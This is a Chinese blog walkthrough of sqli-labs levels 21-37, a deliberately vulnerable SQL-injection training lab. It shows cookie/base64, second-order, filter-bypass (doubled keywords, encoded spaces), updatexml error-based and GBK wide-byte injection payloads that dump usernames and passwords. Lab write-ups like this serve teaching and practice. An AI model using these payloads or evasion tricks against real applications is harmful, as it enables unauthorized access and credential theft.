sqli-labs21-37

从page 2开始主要是各种过滤与限制条件

less-21

POST – cookie 注入 – base64 编码

一套测试过后,并没有什么发现,也没有回显,然后我们使用admin admin登录进去看一下,发现显示了cookie,并且uname被base64 加密

然后尝试在cookie出进行注入,将注入语句进行base64加密
先测试闭合,发现是1‘) or 1=1#单引号加括号闭合

然后就可以像20关一样进行联合查询,这里就直接查询结果了

1
2
3
4
5
6
7
8
9
10
11
12
爆库
1') union select 1,2,database()#

爆表
1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=security'#

爆列
1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

内容:
1') union select 1,2,group_concat(username,password) from users#
MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLHBhc3N3b3JkKSBmcm9tIHVzZXJzIw==

less-22

POST – cookie 注入 – base64 编码
这一关是双引号闭合,将上一关的 ‘) 改为 “ 即可

less-23

从这一关开始,又是get型了,终于不用抓包了。Page 2 主要是各种过滤与限制条件。
开始测试注入类型

1
2
3
id=1	不报错
id=1' 报错
id=1" 不报错

所以是单引号闭合的查询,但是不管怎样都不能闭合,查看源码

1
2
3
4
5
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

原来是将# – 等字符过滤了,但是将其url编码号任然不行
查案执行的SQL语句

1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这种怎么办?思路有两个:1、用别的注释符 2、用其他方法替代注释符 注释符还有一个//但它用来注释星号之间的东西:/\被注释的部分\/ 采用第二个思路,用其他语句替代注释符,如何去闭合 SQL 语句呢–逻辑运算符
我们可以使用 or 或 and 尝试构造额外的逻辑运算。
构造如下语句
Id=1' and 1=1 or' 将它放到 SQL 语句中就是:

1
$sql="SELECT*FROMusersWHERE id='1'and 1=1 or''LIMIT0,1";

这样就闭合了引号不存在语法错误,且其逻辑结果在我们的控制范围内。
那么用 and 呢?

1
2
3
id=1' and 1=1 and '1 因为要保证 and 1=1 使我们可控的部分,所以要保证后面的逻辑为正,不为 0
id=1' and 1=1 or' 返回正常
id=1' and 1 = 2 or' 返回错误

然后查询字段但是order by并不能正常查询,原因:

whereorder by是子句,and是操作符,用于where子句。
在MySQL的执行顺序中,where是远在order by前面的。

在第一个查询语句中,id='1' and '1'='1'作为where的条件,先被执行,得到结果集;然后是order by,因结果集中无第四个字段所以报错。

在第二个查询语句中,order bywhere的条件中,在where执行时被忽略了,结果集生成后并未再执行order by

所以这关不能用order by来判断字段数,而要用union

1
id=-1' union select 1,2,3 or '

这里id=-1,使原查询左边为空,使我们定义的查询结果返回

接下来便是正常查询了

1
2
3
4
5
6
7
8
9
10
11
数据库名
id=-1' union select 1,database(),3 or '

表名
id=-1' union select 2,(select group_concat(table_name) from information_schema.tables where table_schema='security'),4 or '

列名
?id=-1' union select 2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),4 or '

内容
?id=-1' union select 2,(select group_concat(username,password) from users),4 or '

less-24

基于存储_POST_单引号_二次注入
进去后发现有登陆框,忘记密码,注册用户,修改密码等界面,一时无法判断注入点在哪里,先查看一下源码
index.php

1
2
3
session_start();
if (isset($_SESSION['username']) && isset($_COOKIE['Auth']))
header('Location: logged-in.php');

login.php

1
2
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);

可以看到对usernamepassword都做了过滤,很难注入。

login_create.php

1
2
3
$username =  mysql_escape_string($_POST['username']);
$pass = mysql_escape_string($_POST['password']);
$re_pass = mysql_escape_string($_POST['re_password']);
1
2
3
SELECT count(*) FROM users WHERE username='$username'
INSERT INTO users (username,password) values (\"$username\", \"$pass\")
创建用户前先查询是否已经存在该账号

pass_change.php

1
2
3
4
$username = $_SESSION["username"];
$curr_pass = mysql_real_escape_string($_POST['current_password']);
$pass = mysql_real_escape_string($_POST['password']);
$re_pass = mysql_real_escape_string($_POST['re_password']);
1
UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass'

这里发现从session中获得了当前用户名,且被直接用于更新语句并未做检查。
从根本上来说,插入数据时没有过滤,只是做了转义处理。
若当前用户名中含有注释,便可以修改当前用户名中包含的另一用户的密码。

二次注入:

二次注入也称为存储型注入,就是将可能导致 SQL 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 SQL 注入。

二次注入的一般过程:

1.通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务
端进行处理,提交的数据报文请求中可能包含了构造的 SQL 语句或者命令。
2.服务端应用程序会将提交的数据信息进行存储,通常是保存在数据库中,保存的
数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
3.向服务端发送第二个与第一次不相同的请求数据信息。
4.服务端接收到提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。
5.服务端返回执行的处理结果数据信息,便可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

注入过程

步骤1:确定注入逻辑

注入点在修改密码处:

1
UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass'

要将其变为:

1
UPDATE users SET PASSWORD='$pass' WHERE username='$username'-- and password='$curr_pass'

且已知注册时未有任何过滤,闭合查询语句为单引号,即在注册用户时构造admin'-- (有空格)admin'#

先注册一个admin’#用户

注册后的数据库

然后登陆并修改密码

然后便可以使用admin登陆了,密码为修改后的密码


修改密码后的数据库

less-25

基于错误_GET_过滤OR/AND_单引号_字符型注入
输入:

1
2
3
id=1	正常
id=1' 错误
id=1'--+ 正常回显

并且过滤了or 和and

这样我们便不能使用order by查询字段,但是我们可以直接使用union

1
2
3
4
5
6
7
8
9
10
11
12
13
14
id=1'union select 1,2,3,4--+	错误回显
id=1'union select 1,2,3--+ 正常回显

查询数据库名字
id=-1'union select 1,database(),3--+

查询表名
id=-1'union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security'--+ #这里由于过滤了or,所以information里面的or也被过滤了,所以可以尝试双写绕过

查询列名
id=-1'union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='users'--+

查询字段
id=-1'union select 1,group_concat(username,passwoorrd),3 from users--+

过滤绕过

有过滤的时候首先要判断这个过滤是一次性的还是非一次性的:

若是一次性的,且只是将过滤字符换成了空字符:

  • 双写——or=oorrand=anandd

若是非一次性的,就要考虑一些变形:

  • 大小写变形——or=Or=oR=OR
  • 利用运算符——or=||and=&&
  • URL编码——#=%23,Hex编码——~=0x7e
  • 添加注释——/*or*/

less-25a

这一关单引号双引号都没有回显,所以尝试一下数字型注入,正常回显

然后就与less-25一样了

1
2
3
4
5
6
7
8
9
10
11
查询数据库名字
id=-1 union select 1,database(),3

查询表名
id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security' #这里由于过滤了or,所以information里面的or也被过滤了,所以可以尝试双写绕过

查询列名
id=-1 union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='users'

查询字段
id=-1 union select 1,group_concat(username,passwoorrd),3 from users

less-26

基于错误_GET_过滤空格/注释_单引号_字符型注入
先判断注入类型

1
2
3
id=1	正常
id=1' 错误回显
id=1" 正常

但是过滤了空格,注释符,or 和and
查看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
$id = blacklist($id);
$hint =$id;
function blacklist($id)
{
$id = preg_replace('/or/i',"",$id); //strip out OR (non case sensitive)
$id = preg_replace('/and/i',"",$id); //Strip out AND (non case sensitive)
$id = preg_replace('/[\/\*]/',"",$id); //strip out /*
$id = preg_replace('/[--]/',"",$id); //Strip out --
$id = preg_replace('/[#]/',"",$id); //Strip out #
$id = preg_replace('/[\s]/',"",$id); //Strip out spaces
$id = preg_replace('/[\/\\\\]/',"",$id); //Strip out slashes
return $id;
}

不仅过滤了上一关的orand,还过滤了单行注释--#(含URL编码)以及多行注释/**/(被解释为空格,常用于过滤空格时),还过滤了(空格),以及正反斜杠/\

有三种注入方式,两个明注和一个盲注。

  • 明注一:因正确回显非固定字符串,可利用特殊 URL 编码代替空格,仍使用union加空格连接select联合注入。
  • 明注二:因错误回显是 MySQL 错误信息,可利用报错注入即 Less 17 中提到的几种方法,首选是updatexml()注入extractvalue()注入,因其他方法仍不能避开空格的使用。
  • 盲注:基于 Bool 盲注,构造注入语句避开空格。

正确注入:

这里是空格的 URL 编码替代方法。

  • %09 TAB 键(水平)
  • %0a 新建一行
  • %0b TAB 键(垂直)
  • %0c 新的一页
  • %0d return 功能
  • %a0 空格

我们使用%a0代替空格,使用less-23的方法试构造额外的逻辑运算来绕过
payoad

1
2
3
4
5
6
7
8
9
10
11
12
13
14
查看字段
id=-1'union%a0select%a01,2,3%a0oorr'

查看库名
id=0'union%a0select%a01,database(),3%a0oorr' #由于过滤了-,所以这里可以使用id=0

差看表名
id=0'union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%a0oorr'

查看列名
id=0'union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0oorr'

查看内容
id=0'union%a0select%a01,(select%a0group_concat(concat_ws('-',id,username,passwoorrd))%a0from%a0users),3%a0oorr'

报错注入

这里用到的是updatexml()函数,选用这个函数是因为没有需要空格的地方,可以用小括号和运算符代替

报错注入用法

1
or updatexml(1,concat('#',(select * from (select ...) a)),0)

payload

1
2
3
4
5
6
7
8
9
10
11
查看库名
id=0'||updatexml(1,concat('$',(database())),0)||'

差看表名
id=0'||updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'

查看列名
?id=0'||updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users'))),0)||'

查看内容
?id=0'||updatexml(1,concat('$',(select(group_concat(id,username,passwoorrd))from(users))),0)||'

less-26a

基于错误_GET_过滤空格/注释_单引号_小括号_字符型_盲注

1
2
3
4
输入:
id=1 正常回显
id=1' 无回显
id=1" 正常回显

可以判断为单引号字符型注入
然后判断是否有小括号判断小括号有几种方法:

  1. 2'&&'1'='1
  • 若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2
  • 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1
  1. 1')||'1'=('1
    若查询语句有小括号正确回显,若无小括号错误回显(无回显)


说明存在小括号
然后与less-26一样

1
2
先查字段
id=-1%27)%a0union%a0select%a01,2,3%a0oorr(%27

查数据库名

1
id=0%27)%a0union%a0select%a01,database(),3%a0anandd%a0(%27

查表名

1
id=0%27)%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0%26%26%a0(%271%27)=(%271

列名

1
id=0')%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0%26%26%a0('1

内容

1
id=0%27)%a0union%a0select%a01,group_concat(username,0x3a,passwoorrd),3%a0from%a0users%a0where%a0(%271%27)=(%271

less-27

1
2
3
4
5
输入:
id=1 正常回显
id=1' 无回显
id=1" 正常回显
id=1'or' 正常回显

所以可以判断为单引号字符型,无小括号
查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$id = blacklist($id);
$hint = $id;
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"",$id); //strip out /*
$id= preg_replace('/[--]/',"",$id); //Strip out --.
$id= preg_replace('/[#]/',"",$id); //Strip out #.
$id= preg_replace('/[ +]/',"",$id); //Strip out spaces.
$id= preg_replace('/select/m',"",$id); //Strip out spaces.
$id= preg_replace('/[ +]/',"",$id); //Strip out spaces.
$id= preg_replace('/union/s',"",$id); //Strip out union
$id= preg_replace('/select/s',"",$id); //Strip out select
$id= preg_replace('/UNION/s',"",$id); //Strip out UNION
$id= preg_replace('/SELECT/s',"",$id); //Strip out SELECT
$id= preg_replace('/Union/s',"",$id); //Strip out Union
$id= preg_replace('/Select/s',"",$id); //Strip out select
return $id;
}

发现没有过滤orand,过滤了几个大小写的unionselect但是可以用随机大小写绕过,过滤了--#以及/**/,过滤了两次空格,过滤了/但没过滤\
所以实际上只过滤了注释空格,与 Less 26 相似。

直接明注

1
2
爆内容
id=0%27uunionnion%a0sElect%a01,(sElect%a0password%a0from%a0users%a0limit%a03,1),3%a0or%27

less-27a

11'正常回显,1"报错,双引号字符型。
2"%26%26"1"="1回显为id=2,无小括号
与上一关一样正常注入

1
2
3
4
5
6
库名
id=0%22%0AUNIon%0AsElect%0A1,database(),3%a0or%22 #注:id=0
列名
id=0%22%0AUNIon%0AsElect%0A1,group_concat(column_name),3%0afrom%a0information_schema.columns%0awhere%0atable_name=%27users%27%a0or%22
内容
id=0%22%0AUNIon%0AsElect%0A1,(sElect%a0password%a0from%a0users%a0limit%a03,1),3%a0or%22

less-28

1
2
3
4
5
输入
id=1 正常
id=1' 错误
id=1" 正常
id=1'%0Aor%0A1=1%0Aor' 正常,成功闭合单引号

当使用union select查询字段是,发现只要同时出现union和select变回删除union和select

我们可以双写绕过
但是字段任然爆不出来,后面才发现原来没有测试是否有小括号判断小括号有几种方法:

  1. 2'&&'1'='1
  • 若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2
  • 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1
  1. 1')||'1'=('1
    若查询语句有小括号正确回显,若无小括号错误回显(无回显)。

我们使用第二种方法,发现正常回显,说明有小括号

1
2
3
4
5
6
7
8
字段
id=1')%0Aunion%0Aunion%0Aselect%0Aselect%0A1,2,3%0Aor('
表名
id=1')%0Aunion%0Aunion%0Aselect%0Aselect%0A1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0Aor('
列名
id=0')%0Aunion%0Aunion%0Aselect%0Aselect%0A1,group_concat(column_name),3%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_name='users'%0Aor('
内容
id=0')%0Aunion%0Aunion%0Aselect%0Aselect%0A1,(select%0Ausername%0Afrom%0Ausers%0Alimit%0A2,1),3%0Aor('

less-28a

这一关用less-28的payload也可以

less-29

这个是简单的单引号字符型注入,使用联合注入就可以了,29-31实际上是两层服务器架构,在做这三关之前需要把 Tomcat 为引擎的 jsp 服务器搭好,等以后再回来搭一下

less-30

这一关为双引号字符型注入

less-31

简单测试后,为双引号+有括号字符型注入,接着与30关一样

less-32

这一关发现hint多了一个The Query String you input in Hex becomes :
当我们输入

1
2
id=1		正常回显
id=1' 错误回显

并且发现我们的'\注释掉了,这个便联想到宽字节注入

宽字节注入

PHP 自带一些转义特殊字符的函数,如addslashes()mysql_real_escape_string()mysql_escape_string()等,这些函数可用来防止 SQL 注入。

id=1'or'1'='1,单引号本用来闭合语句,这些函数会自动转义这些闭合的单引号,在这些单引号前面加上转义符\,变为1\'or\'1\'=\'1,如此在 SQL 查询中仍然一个普通的字符串,不能进行注入。

而网站在过滤'的时候,通常的思路就是将'转换为\',因此我们在此想办法将'前面添加的\去掉,一般有两种思路:

  1. %bb连带\
    如果程序的默认字符集是GBK等宽字节字符集,就有可能产生宽字节注入,绕过上述过滤。
    若在 PHP 中使用mysql_query("set names gbk")将默认字符集设为GBK,而使用addslashes()转义用户输入,这时如果用户输入%bb%27,则addslashes()会在%27前面加上一个%5c字符,即转义字符\
    而 MySQL 在使用GBK编码时,会认为两个字符为一个汉字,%bb%5c是一个宽字符(前一个 ASCII 码大于 128 才能到汉字的范围),也就是,也就是说%bb%5c%27=籠',这样单引号就未被转义能闭合语句,从而产生 SQL 注入。%bb并不是唯一一个可以产生宽字节注入的字符,理论上%81-%FE均可。
  2. 过滤\'中的\
    构造%bb%5c%5c%27addslashes()会在两个%5c%27前都加上\%5c,变为%bb %5c%5c %5c%5c %5c%27,但宽字符集认为%bb%5c是一个字符即,则变为%bb%5c %5c%5c %5c%5c %27籠\\\\',四个\正好转义为两个\,即'未被转义。

参考文章链接

这里还可以用%df来讲\吃掉,组合成一个新的汉字

然后使用–+闭合
经过测试,发现是单引号闭合的宽字节注入

1
id=-1%df%27union%20select%201,group_concat(id,password),3%20from%20users--+

less-33

本关直接使用了 PHP 的addslashes()函数,在 Less 17 中介绍过:

addslashes()与stripslashes()函数

addslashes(string)函数返回在预定义字符之前添加反斜杠\的字符串:

  • 单引号 '
  • 双引号 "
  • 反斜杠 \
  • 空字符 NULL

该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注意:默认地,PHP对所有的GET、POST和COOKIE数据自动运行addslashes()。所以不应对已转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测。

stripslashes(string)函数删除由addslashes()函数添加的反斜杠。

注入方法与33一样

less-34

这一关为post提交方式
先抓包,发现也是宽字节注入,只是提交参数方式不同

1
1%df'union select 1,group_concat(password) from users--+

less-35

这一关一开始以为也是宽字节注入,后面发现无论怎么都不能闭合,但是仔细一看回显,发现了问题。如果是宽字节注入,当'\转义后应该正常回显,但是这一关却报错。
所以尝试一下数字型注入,发现成功。与less-1一样

less-36

mysql_real_escape_string()函数

1
mysql_real_escape_string(string,connection)
参数 描述
string 必需,规定要转义的字符串
connection 可选,规定MySQL连接。如果未规定,则使用上一个连接

mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回FALSE

本函数将字符串中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query(),可使用本函数来预防数据库攻击。

与less-32一样

less-37

这关又是post,注入方法与less-34一样

page2到这里就结束了!听物理课了

参考文章链接

文章作者:CyzCc
最后更新:2020年04月17日 09:04:23
原始链接:https://cyzcc.vip/2020/03/17/sqli_labs21-37/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------